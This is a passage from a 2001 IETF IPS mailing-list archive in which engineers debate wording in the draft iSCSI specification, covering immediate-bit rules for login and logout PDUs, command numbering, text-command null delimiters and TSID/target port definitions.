(d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8GNYvP04570 for ; Sun, 16 Sep 2001 19:34:57 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id BAA147680; Mon, 17 Sep 2001 01:34:45 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8GNYXd157706; Mon, 17 Sep 2001 01:34:38 +0200 Importance: Normal Subject: RE: iSCSI-countdown to new version To: Cc: X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sun, 16 Sep 2001 06:29:17 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 17/09/2001 02:34:45 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk yes thanks - will fix - Julo "Eddy Quicksall" on 13-09-2001 19:14:42 Please respond to To: Julian Satran/Haifa/IBM@IBMIL, cc: Subject: RE: iSCSI-countdown to new version Section 1.2.2.1 says: Command numbering starts with the login request on the first connection of a session (the leading login) and includes every non-immediate command issued afterwards whether during login or in full-feature phase. But 2.12.2 says: Login MUST be issued as an immediate request (I=1) except for the first Login request (C=0) of the leading connection that MUST have I=0. Since all commands during login must have the I bit set, I believe 1.2.2.1 3rd line should read command issued afterwards in full-feature Am I correct? Eddy From owner-ips@ece.cmu.edu Sun Sep 16 22:03:28 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA18321 for ; Sun, 16 Sep 2001 22:03:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8GNZFE04596 for ips-outgoing; Sun, 16 Sep 2001 19:35:15 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8GNZ0P04579 for ; Sun, 16 Sep 2001 19:35:08 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id BAA147682; Mon, 17 Sep 2001 01:34:48 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8GNYjd208648; Mon, 17 Sep 2001 01:34:47 +0200 Importance: Normal Subject: RE: iSCSI-countdown to new version To: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" Cc: "'eddy_quicksall@ivivity.com'" , ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sun, 16 Sep 2001 12:49:49 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 17/09/2001 02:34:47 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Not for the session establishing login request. Julo "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" @ece.cmu.edu on 13-09-2001 20:33:30 Please respond to "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" Sent by: owner-ips@ece.cmu.edu To: "'eddy_quicksall@ivivity.com'" , ips@ece.cmu.edu cc: Subject: RE: iSCSI-countdown to new version Hi Eddy, The last part of the sentence was added just to highlight that if the first full feature phase commands were immediate then it does not increment the CmdSN. I would therefore proprose: Command numbering starts with the login request on the first connection of a session (the leading login) and includes every non-immediate command issued afterwards including into the full feature phase. The first login must be immediate otherwise if it is queued and there is a missing PDU earlier in the command queue then the login will not get processed. If the login was for recovery we have stalemate! Cheers Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 6:25 PM To: 'BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)' Subject: RE: iSCSI-countdown to new version I'm not a good writer but I would write it as: Command numbering starts with the login request on the first connection of a session (the leading login) and includes every non-immediate command issued afterwards. The reason it works better is because all login commands have to be immediate (with the correction you have stated). BTW, I thought the reason for the very first login to have the I = 0 was so hardware does not have to worry about the leading login and will just always advance CmdSN for the next Immediate command. Does Julian know the leading login is supposed to also be Immediate? Eddy -----Original Message----- From: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) [mailto:matthew_burbridge@hp.com] Sent: Thursday, September 13, 2001 1:21 PM To: 'eddy_quicksall@ivivity.com' Subject: RE: iSCSI-countdown to new version Eddy, I think I may be missing something here: what would you suggest the wording to be? Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 6:17 PM To: 'BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)' Subject: RE: iSCSI-countdown to new version Because it says "afterwards whether during login". Eddy -----Original Message----- From: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) [mailto:matthew_burbridge@hp.com] Sent: Thursday, September 13, 2001 1:16 PM To: 'eddy_quicksall@ivivity.com' Subject: RE: iSCSI-countdown to new version Hi Eddy, Why does 1.2.2.1 need modifying? Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 6:13 PM To: 'BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)'; julian_satran@il.ibm.com Cc: Sanjay Goyal; ips@ece.cmu.edu Subject: RE: iSCSI-countdown to new version So a correction is needed in 2.12.2. Also, if all other login phase PDUs MUST be immediate, Section 1.2.2.1 needs change because it clearly implies the opposite. Eddy -----Original Message----- From: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) [mailto:matthew_burbridge@hp.com] Sent: Thursday, September 13, 2001 12:41 PM To: 'eddy_quicksall@ivivity.com' Subject: RE: iSCSI-countdown to new version Hi Eddy, IMO 2.12.2 is incorrect and the initial login command MUST be immediate as are all other login phase PDUs. Therefore 1.2.2.1 is correct. Cheers Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 5:15 PM To: julian_satran@il.ibm.com; ips@ece.cmu.edu Subject: RE: iSCSI-countdown to new version Section 1.2.2.1 says: Command numbering starts with the login request on the first connection of a session (the leading login) and includes every non-immediate command issued afterwards whether during login or in full-feature phase. But 2.12.2 says: Login MUST be issued as an immediate request (I=1) except for the first Login request (C=0) of the leading connection that MUST have I=0. Since all commands during login must have the I bit set, I believe 1.2.2.1 3rd line should read command issued afterwards in full-feature Am I correct? Eddy From owner-ips@ece.cmu.edu Sun Sep 16 22:04:03 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA18333 for ; Sun, 16 Sep 2001 22:03:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8GNZ1204583 for ips-outgoing; Sun, 16 Sep 2001 19:35:01 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8GNYsP04567 for ; Sun, 16 Sep 2001 19:34:55 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id BAA26404 for ; Mon, 17 Sep 2001 01:34:42 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8GNYbd202904 for ; Mon, 17 Sep 2001 01:34:42 +0200 Importance: Normal Subject: Re: ISCSI: question about text command data To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sun, 16 Sep 2001 12:07:54 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 17/09/2001 02:34:42 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I've changed it the text to "at least one" to avoid errors hard to list. Julo "Buck Landry" @ece.cmu.edu on 13-09-2001 01:25:36 Please respond to "Buck Landry" Sent by: owner-ips@ece.cmu.edu To: cc: Subject: ISCSI: question about text command data I have a small question about what separates the "key=value" pairs in the data segment of an iscsi text command. On pg. 78 of the iscsi v7-90 draft (2.10.5), it states: >>> Every key=value pair (including the last or only pair) MUST be followed by null (0x00) delimiter. <<< The question: is it legal to have *more* than one null char between key=value pairs? (no, I don't know why anybody would particularly want to do this.) Thanks, buck From owner-ips@ece.cmu.edu Mon Sep 17 06:19:57 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA07354 for ; Mon, 17 Sep 2001 06:19:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8H8soS10662 for ips-outgoing; Mon, 17 Sep 2001 04:54:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8H8slP10552 for ; Mon, 17 Sep 2001 04:54:47 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id 3E05D212 for ; Mon, 17 Sep 2001 10:55:17 +0200 (METDST) Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id JAA23266 for ; Mon, 17 Sep 2001 09:54:35 +0100 (BST) Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Mon, 17 Sep 2001 09:53:33 +0100 (GMT Daylight Time) Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Mon, 17 Sep 2001 09:53:33 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A8E7@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: "'ips@ece.cmu.edu'" Subject: Immediate Logout Command PDUs Date: Mon, 17 Sep 2001 09:54:34 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk My colleagues and I have been discussing the use of the immediate bit in the Logout Command PDU. We came to the conclusion that the immediate bit must be set in the Logout Command PDU for the following reasons:- a) Ordering of the logout PDU provides no benefits. Ordering allows commands received prior to be executed (non-SCSI CDBs) or delivered to the SCSI layer (SCSI CDBs). Even if queued the logout will probably occur before those CDBs delivered to the SCSI layer have completed (especially, it the CDB takes along time to execute such as a long erase!). Also, any application worth it's salt will wait for all responses to any commands to be received before cleanly terminating an iSCSI session. b) For recovery, the logout needs to be performed immediately. c) It keeps the login and logout procedures in sync with each other. Therefore please can you add to section 2.15 a sub section that reads:- 2.14.x I - Immediate Logout MUST be issued as an immediate request (I=1) Matthew Burbridge Senior Development Engineer NIS-Bristol Hewlett Packard Telnet: 312 7010 E-mail: matthewb@bri.hp.com From owner-ips@ece.cmu.edu Mon Sep 17 06:28:00 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA07393 for ; Mon, 17 Sep 2001 06:28:00 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8H8ZS529156 for ips-outgoing; Mon, 17 Sep 2001 04:35:28 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8H8ZPP29151 for ; Mon, 17 Sep 2001 04:35:25 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id 3B976FC; Mon, 17 Sep 2001 10:35:55 +0200 (METDST) Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id JAA17315; Mon, 17 Sep 2001 09:35:18 +0100 (BST) Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Mon, 17 Sep 2001 09:34:16 +0100 (GMT Daylight Time) Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Mon, 17 Sep 2001 09:34:16 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A8E5@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: "'Julian Satran'" , "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" Cc: "'eddy_quicksall@ivivity.com'" , ips@ece.cmu.edu Subject: RE: iSCSI-countdown to new version Date: Mon, 17 Sep 2001 09:35:15 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, The text describes that the first login PDU of a connection and not the session is set as non-immediate. However, I think all login PDUs shouls be immediate: Is the only reason for making the initial login PDU of a session non-immediate is to set the CmdSN? However, if all login PDUs are immediate then the target can set the ExpCmdSN from the CmdSN of the login PDU. This has the advantage that processing all login PDUs is handled the same and that the protocol is simplified. Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 16, 2001 10:50 AM To: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) Cc: 'eddy_quicksall@ivivity.com'; ips@ece.cmu.edu Subject: RE: iSCSI-countdown to new version Not for the session establishing login request. Julo "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" @ece.cmu.edu on 13-09-2001 20:33:30 Please respond to "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" Sent by: owner-ips@ece.cmu.edu To: "'eddy_quicksall@ivivity.com'" , ips@ece.cmu.edu cc: Subject: RE: iSCSI-countdown to new version Hi Eddy, The last part of the sentence was added just to highlight that if the first full feature phase commands were immediate then it does not increment the CmdSN. I would therefore proprose: Command numbering starts with the login request on the first connection of a session (the leading login) and includes every non-immediate command issued afterwards including into the full feature phase. The first login must be immediate otherwise if it is queued and there is a missing PDU earlier in the command queue then the login will not get processed. If the login was for recovery we have stalemate! Cheers Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 6:25 PM To: 'BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)' Subject: RE: iSCSI-countdown to new version I'm not a good writer but I would write it as: Command numbering starts with the login request on the first connection of a session (the leading login) and includes every non-immediate command issued afterwards. The reason it works better is because all login commands have to be immediate (with the correction you have stated). BTW, I thought the reason for the very first login to have the I = 0 was so hardware does not have to worry about the leading login and will just always advance CmdSN for the next Immediate command. Does Julian know the leading login is supposed to also be Immediate? Eddy -----Original Message----- From: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) [mailto:matthew_burbridge@hp.com] Sent: Thursday, September 13, 2001 1:21 PM To: 'eddy_quicksall@ivivity.com' Subject: RE: iSCSI-countdown to new version Eddy, I think I may be missing something here: what would you suggest the wording to be? Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 6:17 PM To: 'BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)' Subject: RE: iSCSI-countdown to new version Because it says "afterwards whether during login". Eddy -----Original Message----- From: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) [mailto:matthew_burbridge@hp.com] Sent: Thursday, September 13, 2001 1:16 PM To: 'eddy_quicksall@ivivity.com' Subject: RE: iSCSI-countdown to new version Hi Eddy, Why does 1.2.2.1 need modifying? Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 6:13 PM To: 'BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)'; julian_satran@il.ibm.com Cc: Sanjay Goyal; ips@ece.cmu.edu Subject: RE: iSCSI-countdown to new version So a correction is needed in 2.12.2. Also, if all other login phase PDUs MUST be immediate, Section 1.2.2.1 needs change because it clearly implies the opposite. Eddy -----Original Message----- From: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) [mailto:matthew_burbridge@hp.com] Sent: Thursday, September 13, 2001 12:41 PM To: 'eddy_quicksall@ivivity.com' Subject: RE: iSCSI-countdown to new version Hi Eddy, IMO 2.12.2 is incorrect and the initial login command MUST be immediate as are all other login phase PDUs. Therefore 1.2.2.1 is correct. Cheers Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 5:15 PM To: julian_satran@il.ibm.com; ips@ece.cmu.edu Subject: RE: iSCSI-countdown to new version Section 1.2.2.1 says: Command numbering starts with the login request on the first connection of a session (the leading login) and includes every non-immediate command issued afterwards whether during login or in full-feature phase. But 2.12.2 says: Login MUST be issued as an immediate request (I=1) except for the first Login request (C=0) of the leading connection that MUST have I=0. Since all commands during login must have the I bit set, I believe 1.2.2.1 3rd line should read command issued afterwards in full-feature Am I correct? Eddy From owner-ips@ece.cmu.edu Mon Sep 17 11:22:15 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13849 for ; Mon, 17 Sep 2001 11:22:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HD5cg22163 for ips-outgoing; Mon, 17 Sep 2001 09:05:38 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HD5aP22159 for ; Mon, 17 Sep 2001 09:05:36 -0400 (EDT) Received: from cisco.com (58509@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id JAA06714; Mon, 17 Sep 2001 09:05:23 -0400 (EDT) Message-ID: <3BA5F334.3424968B@cisco.com> Date: Mon, 17 Sep 2001 07:57:24 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Julian Satran CC: ips@ece.cmu.edu Subject: Re: ISCSI: question about text command data References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian- Wouldn't it be simpler to just say "exactly one". The last part of Buck's question mentioned that he didn't see why anyone would want more than one, and nobody responded saying they did. Thanks, Mark Julian Satran wrote: > > I've changed it the text to "at least one" to avoid errors hard to list. > > Julo > > "Buck Landry" @ece.cmu.edu on 13-09-2001 01:25:36 > > Please respond to "Buck Landry" > > Sent by: owner-ips@ece.cmu.edu > > To: > cc: > Subject: ISCSI: question about text command data > > I have a small question about what separates the "key=value" pairs in > the data segment of an iscsi text command. On pg. 78 of the iscsi v7-90 > draft (2.10.5), it states: > > >>> > Every key=value pair (including the last or only pair) MUST be followed > by null (0x00) delimiter. > <<< > > The question: is it legal to have *more* than one null char between > key=value pairs? (no, I don't know why anybody would particularly want > to do this.) > > Thanks, > buck -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Mon Sep 17 13:17:05 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16560 for ; Mon, 17 Sep 2001 13:17:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HFRls01821 for ips-outgoing; Mon, 17 Sep 2001 11:27:47 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HFRdP01811 for ; Mon, 17 Sep 2001 11:27:39 -0400 (EDT) Received: from cisco.com (dhcp-161-44-68-173.cisco.com [161.44.68.173]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id LAA25064 for ; Mon, 17 Sep 2001 11:27:33 -0400 (EDT) Message-ID: <3BA61650.6635BA35@cisco.com> Date: Mon, 17 Sep 2001 10:27:12 -0500 From: Steve Senum X-Mailer: Mozilla 4.73 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf-ips Subject: Re: ISCSI: question about text command data References: <3BA5F334.3424968B@cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Mark, I agree with Julian on this issue. Steve Senum Mark Bakke wrote: > > Julian- > > Wouldn't it be simpler to just say "exactly one". The last > part of Buck's question mentioned that he didn't see why > anyone would want more than one, and nobody responded saying > they did. > > Thanks, > > Mark > > Julian Satran wrote: > > > > I've changed it the text to "at least one" to avoid errors hard to list. > > > > Julo > > > > "Buck Landry" @ece.cmu.edu on 13-09-2001 01:25:36 > > > > Please respond to "Buck Landry" > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: > > cc: > > Subject: ISCSI: question about text command data > > > > I have a small question about what separates the "key=value" pairs in > > the data segment of an iscsi text command. On pg. 78 of the iscsi v7-90 > > draft (2.10.5), it states: > > > > >>> > > Every key=value pair (including the last or only pair) MUST be followed > > by null (0x00) delimiter. > > <<< > > > > The question: is it legal to have *more* than one null char between > > key=value pairs? (no, I don't know why anybody would particularly want > > to do this.) > > > > Thanks, > > buck > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 From owner-ips@ece.cmu.edu Mon Sep 17 13:44:43 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA17191 for ; Mon, 17 Sep 2001 13:44:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HF9kB00461 for ips-outgoing; Mon, 17 Sep 2001 11:09:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HF9hP00451 for ; Mon, 17 Sep 2001 11:09:44 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA40270; Mon, 17 Sep 2001 11:07:23 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8HF9VY125408; Mon, 17 Sep 2001 09:09:31 -0600 Importance: Normal Subject: RE: iscsi : target port definition To: , ips@ece.cmu.edu From: "Jim Hafner" Date: Mon, 17 Sep 2001 08:09:29 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/17/2001 08:09:31 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Eddy, Let me restate: 1) I'm opposed to a *requirement* that from a target's point of view every session it has active has a unique TSID; that is, for all sessions for all initiators, there is only one occurence of a particular TSID. This is too strong a requirement and not needed. So, what I meant here by "independent of initiator" is really "over all initiators". 2) Using a target portal group tag as a TSID is an *implementation* option that fits the model. You're right that this is "independent of initiator" but in a different sense than I intended above. But the point of that example is that it is possible for the target to reuse the same TSID in lots of different ways and still meet the minimum requirements. So, I guess I'm failing to find the right language here. The focus I'm trying to put on this is that a requirement should only concern itself with the relationship between a given iSCSI initiator and iSCSI target. Requirements on ISID and TSID concerning simultaneous relationships between one initiator and two or more targets and one target and two or more initiators is not necessary. I'm I getting clearer? Jim Hafner "Eddy Quicksall" on 09/15/2001 05:27:50 pm Please respond to To: Jim Hafner/Almaden/IBM@IBMUS cc: Subject: RE: iscsi : target port definition (private) Jim, Sorry but I don't understand what you are saying... In one case, you say "opposed to making this [TSID unique independent of initiator] the requirement". But on the other hand, you say "each target portal group use its target portal group tag as the value of the TSID". Since there can't be repeated Target Portal Group tags within an iSCSI Target Node, you have in fact created "unique independent of initiator" TSIDs. What am I missing? Eddy -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Friday, September 14, 2001 5:24 PM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iscsi : target port definition (private) Santosh, I'm not sure I quite caught the thrust of your note. Are you supportive of the model or questioning? I get thrown by your comment: "If we change the definition of TSID to be unique within the target, then I think this is a good idea." If I read this as "unique independent of initiator", then, as we've discussed before, that's an implementation choice that goes far beyond what any part of the model says (however we define SSID). I'd be VERY opposed to making this the requirement. I'll explain the reasons if (a) my interpretation of your quote is correct and (b) it is a formal recommendation to this group. If not, I'll be quiet on this point. But I have no objection to *you* implementing that way. :-{) You say "the TSID can be the same for different initiators". In fact, it can be the same for the same initiator provided the ISID from that initiator is different (so that the resulting SSID is unique)! So, I could implement my target by having each target portal group use its target portal group tag as the value of the TSID for every session regardless of initiator. (That's a very simple partition logic!). By enforcing the ISID RULE, every session would get a unique SSID (ergo, I've met the TSID RULE by default). [Note: I could do the exact same thing on the initiator, that is, make every initiator portal group use its portal group tag as its ISID -- I wouldn't be able to use multiple sessions to the same target portal group. but that's an implementation choice!] Of course, such a target implementation wouldn't be able to use the TSID as a handle to some session reference (though it could use the entire SSID), but the spec doesn't say how one uses (internally) the TSID, just what properties it has to have externally. Are we all on the same page yet? Jim Hafner "Eddy Quicksall" on 09/14/2001 01:23:56 pm Please respond to To: "'Santosh Rao'" , Jim Hafner/Almaden/IBM@IBMUS cc: Subject: RE: iscsi : target port definition Currently the TSID can be the same for different initiators (now, in my case, they'll all be unique). If we change the definition of TSID to be unique within the target, then I think this is a good idea. But, I like the idea of Portal Groups as being a nice way for an administrator to allocate the Network Portals and the Portal Group properties. TSID RULE: The iSCSI Target SHALL NOT select a TSID for a given login request if the resulting SSID is already in use by an existing session between that the target and the requesting iSCSI Initiator. See 8.1.1. Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Friday, September 14, 2001 1:49 PM To: Jim Hafner Cc: ips@ece.cmu.edu Subject: Re: iscsi : target port definition Jim, I agree with your below ideas. However, they do appear to conflict with the iscsi rev 08 definition of the I-T nexus in Section 1.5.2 which reads : " c) I_T nexus - According to [SAM2], the I_T nexus is a relationship between a SCSI Initiator Port and a SCSI Target Port. For iSCSI, this relationship is a session, defined as a relationship between an iSCSI Initiator's end of the session (SCSI Initiator Port) and the iSCSI Target's Portal Group. The I_T nexus can be identified by the conjunction of the SCSI port names; that is, the I_T nexus identifier is the tuple (iSCSI Initiator Name + 'i'+ ISID, iSCSI Target Name + 't'+ Portal Group Tag). NOTE: The I_T nexus identifier is not equal to the session identifier (SSID). " Per the above definition, the I-T nexus target end point is that target portal group, which is not the case when initiators choose to establish I-T nexi (sessions) to subsets of the target portal group, in order to export multiple scsi paths to upper layer wedge drivers. Further, initiators that establish sessions to a subset of the target portal group would not be able to take advantage of initiator specific mode page implementations on the target. All the I-T nexi (sessions) established by seperate initiator ports to a given target portal group would always share the same mode pages, since the target mode pages would be implemented on a per target portal group basis. Do you see any reasons why the definition of a target port should not be symmetric with the definition of the initiator port ? i.e. (iscsi target name + TSID) = target port. (= both port name & port identifier). This would more accurately model the target port to be the end point of the I-T nexus (session). Regards, Santosh Jim Hafner wrote: > Santosh, > > There are many alternatives here, but I think the simplest is to establish > multiple sessions to the one target portal group. Each session can connect > to one, some or all of the target ipaddresses in the portal group, so you > have a lot of flexibility. What you see then in the wedge driver is > multiple "SCSI Initiator Ports" in the host connecting to one SCSI Target > Port. That should be sufficient for the multipathing logic. So, it's > many to one, not one to many. > > Note that according to the model in -08, if there were more than one target > portal group, you could see two different things, depending on how you > implemented your host. You could have an "implementation" of one host SCSI > Initiator Port connecting to multiple SCSI Target Ports if you used the > same ISID for all those sessions. Or you could have an implementation of > multipel SCSI Initiator Ports connecting in arbitrary ways to the multiple > SCSI Target Ports if you used a set of ISIDs. In other words, the reuse of > an ISID to a different target portal group implies a one to many setup. > And 